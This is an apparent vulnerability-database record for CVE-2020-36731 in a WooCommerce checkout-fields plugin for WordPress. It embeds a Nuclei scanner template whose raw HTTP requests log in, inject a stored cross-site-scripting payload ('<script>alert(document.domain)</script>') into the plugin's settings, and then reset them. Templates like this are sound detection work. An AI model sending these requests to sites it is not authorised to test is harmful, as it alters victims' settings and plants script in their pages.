{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2020-36731/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2020-36731/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2020-36731/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2020-36731/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2020-36731/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2020-36731"},"sightings":{"href":"/api/v1/sightings/cve-2020-36731"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2020/CVE-2020-36731.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2020-36731\n\ninfo:\n  name: Flexible Checkout Fields for WooCommerce <= 2.3.1 - Unauthenticated Arbitrary Plugin Settings Update\n  author: popcorn94\n  severity: high\n  description: |\n    The Flexible Checkout Fields for WooCommerce  plugin for WordPress is vulnerable to Unauthenticated Arbitrary Plugin Settings update, in addition to Stored Cross-Site Scripting in versions up to, and including, 2.3.1. This is due to missing authorization checks on the updateSettingsAction() function which is called via an admin_init hook, along with missing sanitization and escaping on the settings that are stored.\n  impact: |\n    Unauthenticated attackers can arbitrarily update plugin settings and inject stored XSS payloads, potentially taking over the WordPress site or stealing administrator credentials.\n  remediation: Fixed in 2.3.2.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-11972\n    - https://www.wordfence.com/blog/2020/02/site-takeover-campaign-exploits-multiple-zero-day-vulnerabilities/\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/fd12a952-2e99-41f7-b74c-55c2b7d8deed?source=cve\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N\n    cvss-score: 7.2\n    cve-id: CVE-2020-36731\n    cwe-id: CWE-79\n    epss-score: 0.01342\n    epss-percentile: 0.71437\n    cpe: cpe:2.3:a:wpdesk:flexible_checkout_fields_for_woocommerce:*:*:*:*:*:wordpress:*:*\n  metadata:\n    vendor: wpdesk\n    product: flexible_checkout_fields_for_woocommerce\n    framework: wordpress\n    fofa-query: body=\"/wp-content/plugins/flexible-checkout-fields/\"\n    publicwww-query: \"/wp-content/plugins/flexible-checkout-fields/\"\n  tags: cve,cve2020,wordpress,wp-plugin,wp,flexible-checkout-fields,xss,vkev,vuln\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        POST /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        log={{username}}&pwd={{password}}&wp-submit=Log+In\n\n  - raw:\n      - |\n        POST /wp-admin/admin.php?page=inspire_checkout_fields_settings&tab=fields_order HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        option_page=inspire_checkout_fields_settings&action=update&inspire_checkout_fields%5Bsettings%5D%5Border%5D=&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bname%5D=order_comments&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bvisible%5D=1&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bvisible%5D=0&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Brequired%5D=0&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Blabel%5D=Order+Notes&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bplaceholder%5D=Notes+about+your+order%2C+e.g.+special+notes+for+delivery.&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bclass%5D=&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_<script>alert(document.domain)</script>_%5D%5Bcustom_field%5D=1\n\n    matchers:\n      - type: word\n        words:\n          - \"order_<script>alert(document.domain)</script>\"\n          - \"[custom_field]\"\n          - \"inspire_checkout_fields[settings][order]\"\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin.php?page=inspire_checkout_fields_settings&tab=fields_order HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        option_page=inspire_checkout_fields_settings&action=update&inspire_checkout_fields%5Bsettings%5D%5Border%5D=&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bname%5D=order_comments&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bvisible%5D=1&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bvisible%5D=0&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Brequired%5D=0&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Blabel%5D=Order+Notes&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bplaceholder%5D=Notes+about+your+order%2C+e.g.+special+notes+for+delivery.&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bclass%5D=&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Bcustom_field%5D=1&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Bname%5D=order_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Bvisible%5D=1&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Bvisible%5D=0&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Brequired%5D=0&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Blabel%5D=&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Boption%5D=&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Btype%5D=text&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Bplaceholder%5D=&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Bclass%5D=&reset_settings=Reset+Section+Settings\n\n    matchers:\n      - type: word\n        words:\n          - \"Settings resetted.\"\n# digest: 4a0a00473045022059bec53988f3bd272fdbfccac25daa11ea031b362139b8160571dbe53e5700ab0221009a9145176db4df0722bb88650790f9cccf20475cdd31dd170dfb5e0936dd78a5:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2020-36731"}